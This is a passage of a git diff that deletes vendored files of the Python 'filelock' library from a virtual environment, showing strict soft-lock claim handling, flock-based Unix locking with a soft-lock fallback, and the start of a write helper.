pragma: needs dir-fd - raise publication_cleanup_error - self._context.owner_claim_paths = (intent_path,) - - claims = _read_existing_claims(self.lock_file, claim_directory) - if ( - not claims - or any(claim.state == "held" for claim in claims) - or min(claim.name for claim in claims) != intent_name - ): - self._discard_doorway(sentinel_fd, sentinel_identity) - return - - held_name = _claim_name("held", token) - held_path = str(claim_directory / held_name) - try: - link_cleanup_error = _link_no_replace(claim_directory, intent_name, held_name) - except (NotImplementedError, OSError) as error: - _raise_if_hard_links_unsupported(self.lock_file, error) - raise - self._context.owner_claim_paths = (held_path, intent_path) - if link_cleanup_error is not None: # pragma: needs dir-fd - self._context.owner_claim_paths = () - raise link_cleanup_error - - claims = _read_existing_claims(self.lock_file, claim_directory) - if ( - not {intent_name, held_name}.issubset(claim.name for claim in claims) - or min(_claim_token_key(claim.name) for claim in claims) != f"v1-{token}.claim" - ): - self._discard_doorway(sentinel_fd, sentinel_identity) - return - # Keep the intent claim for the whole hold rather than unlinking it now. The intent has existed, unchanged, - # since this owner published it, so a contender's os.scandir is guaranteed to return it (POSIX only leaves the - # visibility of entries created or removed *during* a scan unspecified). The freshly linked held claim carries - # no such guarantee: a scan that races its creation can miss it. Were the intent removed here, that scan could - # observe neither claim and let a larger-token contender win over this owner. The stable intent is the witness - # that keeps the phase-five min-token decision computed over the true set. Release unlinks both. - self._mark_descriptor_owned(sentinel_fd, sentinel_identity) - - @property - def claims(self) -> tuple[StrictSoftFileClaim, ...]: - """Published claims that block acquisition.""" - return _read_existing_claims(self.lock_file, self._claim_directory) - - def force_break(self, claim_name: str) -> None: - """Remove one named claim, allowing overlap if its owner still holds the protected resource.""" - _validate_force_break_name(claim_name) - _require_exact_name(self._claim_directory, claim_name) - if ( - cleanup_error := _unlink_in_directory(self._claim_directory, claim_name) - ) is not None: # pragma: needs dir-fd - raise cleanup_error - - def _rollback_failed_acquire(self, acquisition_error: BaseException) -> None: - # _acquire already reconciles a failed doorway through _discard_doorway: it either closes the pending - # descriptor or, when a held claim cannot be removed, commits it as owned so a later release retries and - # raises the cleanup errors. A base rollback would release that owned descriptor again and report each - # failure a second time, so leave the reconciled state alone. - if self.is_locked: - return - super()._rollback_failed_acquire(acquisition_error) - - def _reconcile_failed_acquire(self, canonical: str) -> None: - # The acquisition is over, so the next one resolves the working directory again rather than reuse this one's. - if not self.is_locked: - self._context.claim_root = None - super()._reconcile_failed_acquire(canonical) - - def _release(self) -> None: - fd = cast("int", self._context.lock_file_fd) - self._context.claim_root = None - remaining, errors = _unlink_owner_paths(self._context.owner_claim_paths) - self._context.owner_claim_paths = tuple(remaining) - if remaining: - _raise_recorded_errors("strict claim release failed", errors) - self._mark_descriptor_released() - try: - self._close_released_fd(fd, default_suppresses=False) - except BaseException as close_error: # ruff:ignore[blind-except] # preserve claim and sentinel cleanup errors - errors.append(close_error) - if errors: - _raise_recorded_errors("strict release cleanup failed", errors) - - def _discard_doorway(self, fd: int, identity: tuple[int, int]) -> None: - remaining, errors = _unlink_owner_paths(self._context.owner_claim_paths) - self._context.owner_claim_paths = tuple(remaining) - if remaining: - self._mark_descriptor_owned(fd, identity) - _raise_recorded_errors("strict doorway claim cleanup failed", errors) - self._mark_descriptor_released() - try: - self._close_released_fd(fd, default_suppresses=False) - except BaseException as close_error: # ruff:ignore[blind-except] # preserve claim and sentinel cleanup errors - errors.append(close_error) - if errors: - _raise_recorded_errors("strict doorway cleanup failed", errors) - - @property - def _claim_directory(self) -> Path: - if self._context.owner_claim_paths: - return Path(self._context.owner_claim_paths[0]).parent - return Path(f"{_canonical(self.lock_file)}{_COORDINATION_SUFFIX}") / _CLAIM_DIRECTORY_NAME - - -@dataclass(frozen=True) -class StrictSoftFileClaim: - """One parsed strict soft-lock claim.""" - - name: str - state: StrictSoftFileClaimState - token: str - pid: int - hostname: str - #: The owner's process start token, or ``None`` when the platform exposes no proven start time. A strict lock never - #: reclaims a claim on its own, so this identifies the owner for tooling rather than driving any automatic break. - start: int | None = None - - -class _PrivateRecordReclaimedError(Exception): - pass - - -def _open_or_create_sentinel(lock_file: str, path: Path, mode: int) -> int | None: - try: - return _open_sentinel(path) - except FileNotFoundError: - pass - except OSError: - return None - - _reclaim_sentinel_private_records(path, time.time()) - try: - publication_cleanup_error = _publish_record(os.fspath(path), _LEGACY_SENTINEL, mode) - except _PrivateRecordReclaimedError: - return None - except (NotImplementedError, OSError) as error: - _raise_if_hard_links_unsupported(lock_file, error) - if not isinstance(error, OSError) or error.errno != EEXIST: - raise - else: - if publication_cleanup_error is not None: # pragma: needs dir-fd - raise publication_cleanup_error - try: - return _open_sentinel(path) - except OSError: - return None - - -def _open_sentinel(path: Path) -> int | None: - fd, record = _open_record(path, len(_LEGACY_SENTINEL)) - if record == _LEGACY_SENTINEL: - return fd - os.close(fd) - return None - - -def _read_claims(lock_file: str, directory: Path) -> tuple[StrictSoftFileClaim, ...]: - try: - with os.scandir(directory) as entries: - names = _public_claim_names(directory, entries) - except OSError as error: - reason = f"cannot list claim directory: {error.strerror or type(error).__name__}" - raise SoftFileLockProtocolError(lock_file, None, reason) from error - - claims: list[StrictSoftFileClaim] = [] - for name in names: - if (name_parts := _parse_claim_name(name)) is None: - raise SoftFileLockProtocolError(lock_file, name, "unknown claim name or protocol version") - if (record := _read_claim_record(lock_file, directory, name)) is not None: - claims.append(_parse_claim(lock_file, name, name_parts, record)) - return tuple(claims) - - -def _read_claim_record(lock_file: str, directory: Path, name: str) -> bytes | None: - # A contended scan can list a claim that is not yet cleanly readable, in two ways that both resolve on a brief - # retry. Windows holds a claim mid-unlink in a delete-pending state that fails an open with EACCES until the unlink - # completes. On NFS, a peer that unlinks its own claim leaves this client's cached filehandle stale, so the next - # open returns ESTALE rather than a clean ENOENT until the lookup revalidates against the server. Retrying re-runs - # the path lookup, which turns the vanished claim into ENOENT (skip) or reads it if it still exists. A genuinely - # unreadable record (a locked-down file, an EIO fault) still fails closed. - deadline = time.monotonic() + _CLAIM_READ_GRACE - delaying = False - while True: - if delaying: - time.sleep(_CLAIM_READ_RETRY) - record, pending = _attempt_claim_read(lock_file, directory, name) - if pending is None: - return record - if time.monotonic() >= deadline: - if pending.errno == ESTALE: - # A stale handle that outlives revalidation is a claim the server no longer has (RFC 1813 - # NFS3ERR_STALE): skip it like ENOENT. Skipping a peer's vanished claim can only overcount - # contention, never free a held lock. - return None - reason = f"cannot read claim: {pending.strerror or str(pending) or type(pending).__name__}" - raise SoftFileLockProtocolError(lock_file, name, reason) from pending - delaying = True - - -def _attempt_claim_read(lock_file: str, directory: Path, name: str) -> tuple[bytes | None, OSError | None]: - # Return the record, or (None, None) when the claim has already gone, or (None, error) for an open the caller may - # retry: a Windows delete-pending EACCES that resolves to a clean removal, or an NFS ESTALE from a peer unlinking - # its own claim out from under this client's cached filehandle. Any other OSError is a real fault and fails closed. - try: - return _read_record(directory / name, _CLAIM_RECORD_LIMIT), None - except FileNotFoundError: - return None, None - except PermissionError as error: - return None, error - except OSError as error: - if error.errno == ESTALE: - return None, error - reason = f"cannot read claim: {error.strerror or str(error) or type(error).__name__}" - raise SoftFileLockProtocolError(lock_file, name, reason) from error - - -def _public_claim_names(directory: Path, entries: Iterator[os.DirEntry[str]]) -> list[str]: - names: list[str] = [] - now = time.time() - for entry in entries: - if not entry.name.startswith("."): - names.append(entry.name) - elif (public_name := _private_public_name(entry.name)) is not None and _parse_claim_name( - public_name - ) is not None: - _reclaim_private_record((os.fspath(directory), None), entry.name, now) - return sorted(names) - - -def _read_existing_claims(lock_file: str, directory: Path) -> tuple[StrictSoftFileClaim, ...]: - if not directory.exists(): - return () - return _read_claims(lock_file, directory) - - -def _parse_claim( - lock_file: str, - name: str, - name_parts: tuple[StrictSoftFileClaimState, str], - record: bytes, -) -> StrictSoftFileClaim: - try: - magic, token, pid_text, hostname_hex, start_text, trailing = record.decode("ascii").split("\n") - pid = int(pid_text) - start = int(start_text) if start_text else None - hostname = bytes.fromhex(hostname_hex).decode("utf-8") - except (UnicodeDecodeError, ValueError) as error: - raise SoftFileLockProtocolError(lock_file, name, "malformed claim record") from error - if not all(( - not trailing, - magic == _CLAIM_MAGIC, - token == name_parts[1], - 1 <= pid <= 2**31 - 1, - str(pid) == pid_text, - start is None or (start >= 0 and str(start) == start_text), - hostname.encode().hex() == hostname_hex - and hostname.isprintable() - and not any(character.isspace() for character in hostname), - )): - raise SoftFileLockProtocolError(lock_file, name, "malformed claim record") - return StrictSoftFileClaim(name=name, state=name_parts[0], token=token, pid=pid, hostname=hostname, start=start) - - -def _parse_claim_name(name: str) -> tuple[StrictSoftFileClaimState, str] | None: - if not name.endswith(".claim"): - return None - parts = name.removesuffix(".claim").split("-") - if len(parts) != _CLAIM_NAME_PART_COUNT or parts[0] not in _CLAIM_STATES or parts[1] != "v1": - return None - token = parts[2] - if len(token) != _TOKEN_HEX_LENGTH or any(character not in "0123456789abcdef" for character in token): - return None - return cast("StrictSoftFileClaimState", parts[0]), token - - -def _claim_name(state: StrictSoftFileClaimState, token: str) -> str: - return f"{state}-v1-{token}.claim" - - -def _claim_token_key(name: str) -> str: - return name.removeprefix("held-").removeprefix("intent-") - - -def _claim_record(token: str) -> bytes: - hostname_hex = host_name().encode().hex() - start = process_start_token(os.getpid()) - start_text = "" if start is None else str(start) - return f"{_CLAIM_MAGIC}\n{token}\n{os.getpid()}\n{hostname_hex}\n{start_text}\n".encode("ascii") - - -def _publish_record( - public_path: str, - record: bytes, - mode: int, -) -> BaseException | None: - directory, public_name = os.path.split(public_path) - directory = directory or os.curdir - private_name = _private_record_name(public_name) - directory_fd = _open_directory(directory) if _OPEN_SUPPORTS_DIR_FD else None - directory_ref = directory, directory_fd - try: - _publish_record_in_directory(directory_ref, (private_name, public_name), mode, record) - except BaseException as publication_error: # preserve publication and directory cleanup errors - try: - if directory_fd is not None: # pragma: needs dir-fd - os.close(directory_fd) - except BaseException as close_error: # ruff:ignore[blind-except] # pragma: needs dir-fd # preserve publication and directory cleanup errors - _raise_cleanup_errors("strict publication directory cleanup failed", publication_error, close_error) - raise - if directory_fd is not None: # pragma: needs dir-fd - try: - os.close(directory_fd) - except BaseException as close_error: # ruff:ignore[blind-except] # caller records the published path before raising - return close_error - return None - - -def _publish_record_in_directory( - directory_ref: tuple[str, int | None], - names: tuple[str, str], - mode: int, - record: bytes, -) -> None: - flags = os.O_RDWR | os.O_CREAT | os.O_EXCL | _O_BINARY - if (o_nofollow := getattr(os, "O_NOFOLLOW", None)) is not None: # pragma: needs o-nofollow - flags |= o_nofollow - private_fd = _open_relative(directory_ref, names[0], flags, mode) - private_identity: tuple[int, int] | None = None - try: - private_identity = _file_identity(os.fstat(private_fd)) - write_all(private_fd, record) - _link_private_record(directory_ref, names, private_identity) - except BaseException as publication_error: # preserve publication and cleanup errors - close_error, unlink_error = _close_and_unlink_private_record( - directory_ref, - names[0], - private_fd, - private_identity, - ) - if close_error is not None or unlink_error is not None: - _raise_cleanup_errors( - "strict record publication cleanup failed", - publication_error, - close_error, - unlink_error, - ) - raise - close_error, unlink_error = _close_and_unlink_private_record( - directory_ref, - names[0], - private_fd, - private_identity, - ) - if close_error is not None or unlink_error is not None: - _raise_record_finalization_errors(close_error, unlink_error) - - -def _close_and_unlink_private_record( - directory_ref: tuple[str, int | None], - private_name: str, - private_fd: int, - private_identity: tuple[int, int] | None, -) -> tuple[BaseException | None, BaseException | None]: - close_error: BaseException | None = None - try: - os.close(private_fd) - except BaseException as error: # ruff:ignore[blind-except] # returned for grouping with unlink failures - close_error = error - unlink_error: BaseException | None = None - try: - if private_identity is None: - _unlink_relative(directory_ref, private_name) - else: - _unlink_relative_if_identity(directory_ref, private_name, private_identity) - except FileNotFoundError: - pass - except BaseException as error: # ruff:ignore[blind-except] # returned for grouping with close failures - unlink_error = error - return close_error, unlink_error - - -def _link_private_record( - directory_ref: tuple[str, int | None], - names: tuple[str, str], - private_identity: tuple[int, int], -) -> None: - try: - _link_relative(directory_ref, *names) - except FileNotFoundError as error: - if _relative_identity(directory_ref, names[0]) is not None: - raise - msg = "private publication record was reclaimed" - raise _PrivateRecordReclaimedError(msg) from error - if _relative_identity(directory_ref, names[1]) == private_identity: - return - msg_0 = "private publication record was replaced" - raise _PrivateRecordReclaimedError(msg_0) - - -def _raise_record_finalization_errors( - close_error: BaseException | None, - unlink_error: BaseException | None, -) -> None: - errors = [error for error in (close_error, unlink_error) if error is not None] - if len(errors) > 1: - _raise_cleanup_errors("strict record finalization failed", errors[0], *errors[1:]) - raise errors[0] - - -def _private_record_name(public_name: str) -> str: - return f".{public_name}{_PRIVATE_RECORD_MARKER}{secrets.token_hex(_PRIVATE_RECORD_RANDOM_HEX_LENGTH // 2)}.tmp" - - -def _private_public_name(private_name: str) -> str | None: - if not private_name.startswith(".") or not private_name.endswith(_PRIVATE_RECORD_SUFFIX): - return None - public_name, marker, random_hex = private_name[1 : -len(_PRIVATE_RECORD_SUFFIX)].rpartition(_PRIVATE_RECORD_MARKER) - if ( - marker != _PRIVATE_RECORD_MARKER - or len(random_hex) != _PRIVATE_RECORD_RANDOM_HEX_LENGTH - or any(character not in "0123456789abcdef" for character in random_hex) - ): - return None - return public_name - - -def _reclaim_sentinel_private_records(path: Path, now: float) -> None: - directory_ref = os.fspath(path.parent), None - with os.scandir(path.parent) as entries: - for entry in entries: - if _private_public_name(entry.name) == path.name: - _reclaim_private_record(directory_ref, entry.name, now) - - -def _reclaim_private_record(directory_ref: tuple[str, int | None], private_name: str, now: float) -> None: - directory, directory_fd = directory_ref - try: - private_stat = ( - os.stat(private_name, dir_fd=directory_fd, follow_symlinks=False) - if directory_fd is not None and _STAT_SUPPORTS_DIR_FD - else Path(directory, private_name).lstat() - ) - except FileNotFoundError: - return - if not stat.S_ISREG(private_stat.st_mode): - msg = f"{Path(directory, private_name)} is not a regular private record" - raise OSError(msg) - if private_stat.st_nlink == 1 and now - private_stat.st_mtime < _PRIVATE_RECORD_GRACE: - return - try: - _unlink_private_record_once(directory_ref, private_name) - except FileNotFoundError: - pass - except OSError as error: - if error.errno not in {EACCES, EPERM}: - raise - - -def _unlink_private_record_once(directory_ref: tuple[str, int | None], private_name: str) -> None: - directory, directory_fd = directory_ref - if ( - directory_fd is not None and _UNLINK_SUPPORTS_DIR_FD - ): # pragma: no cover # callers always pass directory_fd=None - os.unlink(private_name, dir_fd=directory_fd) - else: - Path(directory, private_name).unlink() - - -def _relative_identity(directory_ref: tuple[str, int | None], name: str) -> tuple[int, int] | None: - directory, directory_fd = directory_ref - try: - if directory_fd is not None and _STAT_SUPPORTS_DIR_FD: # pragma: needs dir-fd - path_stat = os.stat(name, dir_fd=directory_fd, follow_symlinks=False) - else: # pragma: win32 cover - path_stat = Path(directory, name).lstat() - except FileNotFoundError: - return None - return _file_identity(path_stat) - - -def _unlink_relative_if_identity( - directory_ref: tuple[str, int | None], - name: str, - identity: tuple[int, int], -) -> None: - if _relative_identity(directory_ref, name) == identity: - with contextlib.suppress(FileNotFoundError): - _unlink_relative(directory_ref, name) - - -def _open_relative(directory_ref: tuple[str, int | None], name: str, flags: int, mode: int) -> int: - directory, directory_fd = directory_ref - return ( - os.open(name, flags, mode, dir_fd=directory_fd) - if directory_fd is not None - else os.open(Path(directory, name), flags, mode) - ) - - -def _link_relative(directory_ref: tuple[str, int | None], source_name: str, destination_name: str) -> None: - directory, directory_fd = directory_ref - if directory_fd is not None and _LINK_SUPPORTS_DIR_FD: # pragma: needs dir-fd - _link_no_follow(source_name, destination_name, src_dir_fd=directory_fd, dst_dir_fd=directory_fd) - return - _link_no_follow(Path(directory, source_name), Path(directory, destination_name)) # pragma: win32 cover - - -def _link_no_follow( - source: str | Path, - destination: str | Path, - *, - src_dir_fd: int | None = None, - dst_dir_fd: int | None = None, -) -> None: - if not _HAS_LINK: - # No os.link at all (Termux/Android): report it as unsupported like a filesystem that refuses hard links, so - # the acquire path raises SoftFileLockProtocolError instead of a bare AttributeError. - msg = "os.link is unavailable on this platform" - raise NotImplementedError(msg) - # The source is a private record this process created with O_CREAT | O_EXCL, so follow_symlinks guards nothing an - # attacker can reach. Pass the option only when the runtime honors it: PyPy advertises it through - # os.supports_follow_symlinks yet its linkat rejects it with EINVAL, so probe once rather than trust the set. - if _LINK_HONORS_FOLLOW_SYMLINKS: - os.link(source, destination, src_dir_fd=src_dir_fd, dst_dir_fd=dst_dir_fd, follow_symlinks=False) - else: # pragma: lacks link-follow-symlinks - os.link(source, destination, src_dir_fd=src_dir_fd, dst_dir_fd=dst_dir_fd) - - -def _unlink_relative(directory_ref: tuple[str, int | None], name: str) -> None: - directory, directory_fd = directory_ref - if directory_fd is not None and _UNLINK_SUPPORTS_DIR_FD: # pragma: needs dir-fd - os.unlink(name, dir_fd=directory_fd) - elif sys.platform == "win32": # pragma: win32 cover - _unlink_in_directory(Path(directory), name) - else: - Path(directory, name).unlink() # pragma: win32 no cover - - -def _link_no_replace(directory: Path, source_name: str, destination_name: str) -> BaseException | None: - if _LINK_SUPPORTS_DIR_FD: # pragma: needs dir-fd - directory_fd = _open_directory(str(directory)) - try: - _link_no_follow(source_name, destination_name, src_dir_fd=directory_fd, dst_dir_fd=directory_fd) - except BaseException as link_error: # preserve link and directory cleanup errors - try: - os.close(directory_fd) - except BaseException as close_error: # ruff:ignore[blind-except] # preserve link and directory cleanup errors - _raise_cleanup_errors("strict link directory cleanup failed", link_error, close_error) - raise - try: - os.close(directory_fd) - except BaseException as close_error: # ruff:ignore[blind-except] # caller records the held path before raising - return close_error - return None - _link_no_follow(directory / source_name, directory / destination_name) # pragma: win32 cover - return None # pragma: win32 cover - - -def _unlink_owner_path(path: str) -> BaseException | None: - directory, name = os.path.split(path) - return _unlink_in_directory(Path(directory or os.curdir), name) - - -def _unlink_owner_paths(paths: tuple[str, ...]) -> tuple[list[str], list[BaseException]]: - results = [(path, _unlink_owner_path_result(path)) for path in paths] - return [path for path, (removed, _) in results if not removed], [ - error for _, (_, error) in results if error is not None - ] - - -def _unlink_owner_path_result(path: str) -> tuple[bool, BaseException | None]: - try: - cleanup_error = _unlink_owner_path(path) - except FileNotFoundError: - return True, None - except BaseException as error: # ruff:ignore[blind-except] # keep ownership when unlink did not commit - return False, error - return True, cleanup_error - - -def _raise_recorded_errors(message: str, errors: list[BaseException]) -> None: - if len(errors) > 1: - _raise_cleanup_errors(message, errors[0], *errors[1:]) - raise errors[0] - - -def _unlink_in_directory(directory: Path, name: str) -> BaseException | None: - if _UNLINK_SUPPORTS_DIR_FD: # pragma: needs dir-fd - directory_fd = _open_directory(str(directory)) - try: - os.unlink(name, dir_fd=directory_fd) - except BaseException as unlink_error: # preserve unlink and directory cleanup errors - try: - os.close(directory_fd) - except BaseException as close_error: # ruff:ignore[blind-except] # preserve unlink and directory cleanup errors - _raise_cleanup_errors("strict unlink directory cleanup failed", unlink_error, close_error) - raise - try: - os.close(directory_fd) - except BaseException as close_error: # ruff:ignore[blind-except] # caller commits the removed path before raising - return close_error - return None - if sys.platform != "win32": # pragma: win32 no cover - Path(directory / name).unlink() - return None - retry_delay = 0.001 # pragma: win32 cover - for attempt in range(_UNLINK_MAX_RETRIES): # pragma: win32 cover - if (error := _unlink_error(directory / name)) is None: - return None - if error.errno not in {EACCES, EPERM} or attempt == _UNLINK_MAX_RETRIES - 1: - raise error - time.sleep(retry_delay) - retry_delay *= 2 - return None # pragma: no cover # the final retry returns or raises - - -def _unlink_error(path: Path) -> OSError | None: # pragma: win32 cover - try: - path.unlink() - except OSError as error: - return error - return None - - -def _open_directory(directory: str) -> int: # pragma: needs dir-fd - return os.open( - directory, - os.O_RDONLY | getattr(os, "O_DIRECTORY", 0) | getattr(os, "O_NOFOLLOW", 0), - ) - - -def _read_record(path: Path, limit: int) -> bytes: - fd, record = _open_record(path, limit) - os.close(fd) - return record - - -def _open_record(path: Path, limit: int) -> tuple[int, bytes]: - path_stat = path.lstat() - if not stat.S_ISREG(path_stat.st_mode): - msg = f"{path} is not a regular file" - raise OSError(msg) - flags = os.O_RDONLY | _O_BINARY | getattr(os, "O_NOFOLLOW", 0) | getattr(os, "O_NONBLOCK", 0) - fd = os.open(path, flags) - try: - record = _read_opened_record(fd, path, path_stat, limit) - except BaseException as read_error: # preserve read and descriptor cleanup errors - try: - os.close(fd) - except BaseException as close_error: # ruff:ignore[blind-except] # preserve read and descriptor cleanup errors - _raise_cleanup_errors("strict record read cleanup failed", read_error, close_error) - raise - return fd, record - - -def _read_opened_record(fd: int, path: Path, path_stat: os.stat_result, limit: int) -> bytes: - opened_stat = os.fstat(fd) - if not stat.S_ISREG(opened_stat.st_mode): - msg = f"{path} is not a regular file" - raise OSError(msg) - if _file_identity(opened_stat) != _file_identity(path_stat): - msg = f"{path} changed while opening" - raise OSError(msg) - record = os.read(fd, limit + 1) - if len(record) > limit: - msg = f"{path} exceeds {limit} bytes" - raise OSError(msg) - return record - - -def _ensure_protocol_directory(lock_file: str, directory: Path) -> None: - try: - directory.mkdir() - except FileExistsError: - try: - mode = directory.lstat().st_mode - except OSError as error: - raise SoftFileLockProtocolError(lock_file, None, f"cannot inspect {directory}") from error - if stat.S_ISDIR(mode) and not stat.S_ISLNK(mode): - return - raise SoftFileLockProtocolError(lock_file, None, f"{directory} is not a real directory") from None - - -def _validate_force_break_name(name: str) -> None: - invalid_component = not name or name.startswith(".") or name in {os.curdir, os.pardir} - if invalid_component or any(separator in name for separator in ("/", "\\", "\x00")): - msg = "claim_name must be one public claim basename" - raise ValueError(msg) - - -def _require_exact_name(directory: Path, name: str) -> None: - with os.scandir(directory) as entries: - if not any(entry.name == name for entry in entries): - raise FileNotFoundError(ENOENT, os.strerror(ENOENT), name) - - -def _raise_if_hard_links_unsupported(lock_file: str, error: NotImplementedError | OSError) -> None: - unsupported = ( - isinstance(error, NotImplementedError) - or error.errno in _HARD_LINK_UNSUPPORTED_ERRNOS - or (getattr(error, "winerror", None) in _WINDOWS_HARD_LINK_UNSUPPORTED) - ) - if unsupported: - reason = "filesystem does not support atomic no-replace hard-link publication" - raise SoftFileLockProtocolError(lock_file, None, reason) from error - - -def _file_identity(st: os.stat_result) -> tuple[int, int]: - return st.st_dev, st.st_ino - - -__all__ = [ - "StrictSoftFileClaim", - "StrictSoftFileClaimState", - "StrictSoftFileLock", -] diff --git a/venv/Lib/site-packages/filelock/_unix.py b/venv/Lib/site-packages/filelock/_unix.py deleted file mode 100644 index 71e06deea70db6f0100b0158c669e652b4b8ad65..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/filelock/_unix.py +++ /dev/null @@ -1,186 +0,0 @@ -from __future__ import annotations - -import os -import sys -import warnings -from contextlib import suppress -from errno import EACCES, EAGAIN, ENOSYS, EWOULDBLOCK -from pathlib import Path -from typing import Final, cast - -from ._api import BaseFileLock -from ._util import ensure_directory_exists - -has_fcntl = False -if sys.platform == "win32": # pragma: win32 cover - - class UnixFileLock(BaseFileLock): - """Uses the :func:`fcntl.flock` to hard lock the lock file on unix systems.""" - - def _acquire(self) -> None: - raise NotImplementedError - - def _release(self) -> None: - raise NotImplementedError - -else: # pragma: win32 no cover - try: - import fcntl - - _ = (fcntl.flock, fcntl.LOCK_EX, fcntl.LOCK_NB, fcntl.LOCK_UN) - except (ImportError, AttributeError): - _FCNTL_UNAVAILABLE: Final[str] = "fcntl is unavailable" - - def _lock_fd_nonblocking(_fd: int) -> bool: - raise OSError(ENOSYS, _FCNTL_UNAVAILABLE) - - def _unlock_fd(_fd: int) -> None: - raise OSError(ENOSYS, _FCNTL_UNAVAILABLE) - - else: - has_fcntl = True - # Contention errnos for a nonblocking flock. EAGAIN/EWOULDBLOCK are the usual "held elsewhere" codes; some - # filesystems report EACCES instead, so treat it as contention too rather than a permanent error. - _CONTENTION_ERRNOS: Final[frozenset[int]] = frozenset({EACCES, EAGAIN, EWOULDBLOCK}) - - def _lock_fd_nonblocking(fd: int) -> bool: - # One nonblocking exclusive flock attempt shared by UnixFileLock and lock_descriptor, so both contend on - # the same lock and classify errors identically. The caller owns fd; this never closes it. - try: - fcntl.flock(fd, fcntl.LOCK_EX | fcntl.LOCK_NB) - except OSError as exception: - if exception.errno in _CONTENTION_ERRNOS: - return False - raise - return True - - def _unlock_fd(fd: int) -> None: - fcntl.flock(fd, fcntl.LOCK_UN) - - class UnixFileLock(BaseFileLock): - """ - Uses the :func:`fcntl.flock` to hard lock the lock file on unix systems. - - We leave the lock file in place after release. Unlinking a locked file on Unix splits - waiters across inodes and breaks mutual exclusion for processes that coordinate via the - same path. - """ - - def _acquire(self) -> None: - missing_flock = self._acquire_native() - if missing_flock is not None: - self._switch_to_soft_lock(*missing_flock) - - def _acquire_native(self) -> tuple[int, OSError] | None: - ensure_directory_exists(self.lock_file) - # Open without O_TRUNC and defer truncation and fchmod until after flock succeeds: a contender that loses - # the lock must not truncate the holder's file (erasing caller diagnostics) or change its mode. The winner - # truncates and normalizes mode once it owns the lock (#591). - open_flags = os.O_RDWR - if (o_nofollow := getattr(os, "O_NOFOLLOW", None)) is not None: - open_flags |= o_nofollow - open_flags |= os.O_CREAT - open_mode = self._open_mode() - try: - fd = os.open(self.lock_file, open_flags, open_mode) - except FileNotFoundError: - # On FUSE/NFS, os.open(O_CREAT) is not atomic; a split LOOKUP + CREATE lets a concurrent unlink() - # delete the file between them. For a valid path, treat ENOENT as transient contention. For an - # invalid path (e.g. empty string), re-raise to avoid an infinite retry loop. - if self.lock_file and Path(self.lock_file).parent.exists(): - return None - raise - except PermissionError: - # Sticky-bit dirs (e.g. /tmp): O_CREAT fails if the file is owned by another user (#317). - # Fall back to opening the existing file without O_CREAT. - if not Path(self.lock_file).exists(): - raise - try: - fd = os.open(self.lock_file, open_flags & ~os.O_CREAT, open_mode) - except FileNotFoundError: - return None - self._mark_descriptor_pending(fd) - try: - locked = _lock_fd_nonblocking(fd) - except OSError as exception: - if exception.errno != ENOSYS: - self._mark_descriptor_released() - os.close(fd) - raise # contention returns False from _lock_fd_nonblocking, so any raise here is a real failure - return fd, exception - if locked: - self._finalize_locked_fd(fd) - else: - self._mark_descriptor_released() - os.close(fd) # contention; let the retry loop try again - return None - - def _switch_to_soft_lock(self, fd: int, missing_flock: OSError) -> None: - # The filesystem does not implement flock. Capture the opened file's identity before closing so the cleanup - # below removes only this attempt's placeholder, not a peer's replacement. - identity: tuple[int, int] | None = None - with suppress(OSError): - identity = (fstat := os.fstat(fd)).st_dev, fstat.st_ino - self._mark_descriptor_released() - os.close(fd) - if not self._fallback_to_soft or self._preserve_lock_file or self._on_acquired is not None: - # Fail closed: the caller opted out of existence-lock semantics (#603), asked to preserve the pathname - # (#605), or set an on_acquired hook (#607), none of which a soft lock can honor. - raise missing_flock - with suppress(OSError): - current = os.lstat(self.lock_file) - if identity == (current.st_dev, current.st_ino): - Path(self.lock_file).unlink() - self._fallback_to_soft_lock() - self._acquire() - - def _finalize_locked_fd(self, fd: int) -> None: - # Runs with the flock held. Truncate and normalize mode under a guard so any failure closes fd rather than - # leaking it and its lock. A concurrent _release() may have unlinked the inode between our open() and - # flock() (st_nlink 0), leaving a useless dead-inode lock; drop it and let the retry loop start fresh. - keep = False - try: - stat_result = os.fstat(fd) - if stat_result.st_nlink != 0: - os.ftruncate(fd, 0) - self._apply_explicit_mode(fd) - keep = True - except OSError: - self._mark_descriptor_released() - os.close(fd) - raise - if keep: - self._mark_descriptor_owned(fd, (stat_result.st_dev, stat_result.st_ino)) - else: - self._mark_descriptor_released() - os.close(fd) - - def _apply_explicit_mode(self, fd: int) -> None: - if self.has_explicit_mode: - with suppress(PermissionError): - os.fchmod(fd, self._context.mode) - - def _fallback_to_soft_lock(self) -> None: - # Import lazily: this runs only on the rare flock fallback, and asyncio imports _unix, so a - # module-level import of it here would cycle. - from ._soft import SoftFileLock # ruff:ignore[import-outside-top-level] - - warnings.warn("flock not supported on this filesystem, falling back to SoftFileLock", stacklevel=2) - from .asyncio import AsyncSoftFileLock, BaseAsyncFileLock # ruff:ignore[import-outside-top-level] - - self.__class__ = AsyncSoftFileLock if isinstance(self, BaseAsyncFileLock) else SoftFileLock - - def _release(self) -> None: - fd = cast("int", self._context.lock_file_fd) - # Retain the descriptor until flock succeeds: a failed unlock leaves the kernel lock held, so is_locked - # must keep reporting held for a retry. Once flock commits, clear held state and close as post-unlock - # cleanup; a close failure (EIO on FUSE/Docker bind mounts) does not make the kernel lock held again. - _unlock_fd(fd) - self._mark_descriptor_released() - self._close_released_fd(fd, default_suppresses=True) - - -if sys.platform == "win32": # pragma: win32 cover - __all__ = ["UnixFileLock", "has_fcntl"] -else: # pragma: win32 no cover - __all__ = ["UnixFileLock", "_lock_fd_nonblocking", "_unlock_fd", "has_fcntl"] diff --git a/venv/Lib/site-packages/filelock/_util.py b/venv/Lib/site-packages/filelock/_util.py deleted file mode 100644 index e3da8a09373fc7f0b28ca3dc28a8fb0113d9b2e0..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/filelock/_util.py +++ /dev/null @@ -1,137 +0,0 @@ -from __future__ import annotations - -import os -import secrets -import stat -import sys -from errno import EACCES, EIO, EISDIR -from pathlib import Path -from typing import Final - - -def write_all(fd: int, data: bytes) -> None: - """ - Write the whole buffer to *fd*, looping over the short writes ``os.write`` is allowed to make. - - A marker written with a bare ``os.write`` can land partially: a peer reading it mid-write parses a truncated record - as malformed or as a foreign holder. Looping until the buffer drains keeps the record atomic in the process and - kernel view. No ``fsync``: filelock needs a complete record, not crash-durable storage. - - :param fd: file descriptor open for writing. - :param data: bytes to write in full. - - :raises OSError: if a write reports zero progress before the record is complete. - - """ - remaining = memoryview(data) - while remaining: - if (written := os.write(fd, remaining)) == 0: - raise OSError(EIO, "os.write wrote 0 bytes before the record was complete") - remaining = remaining[written:] - - -def 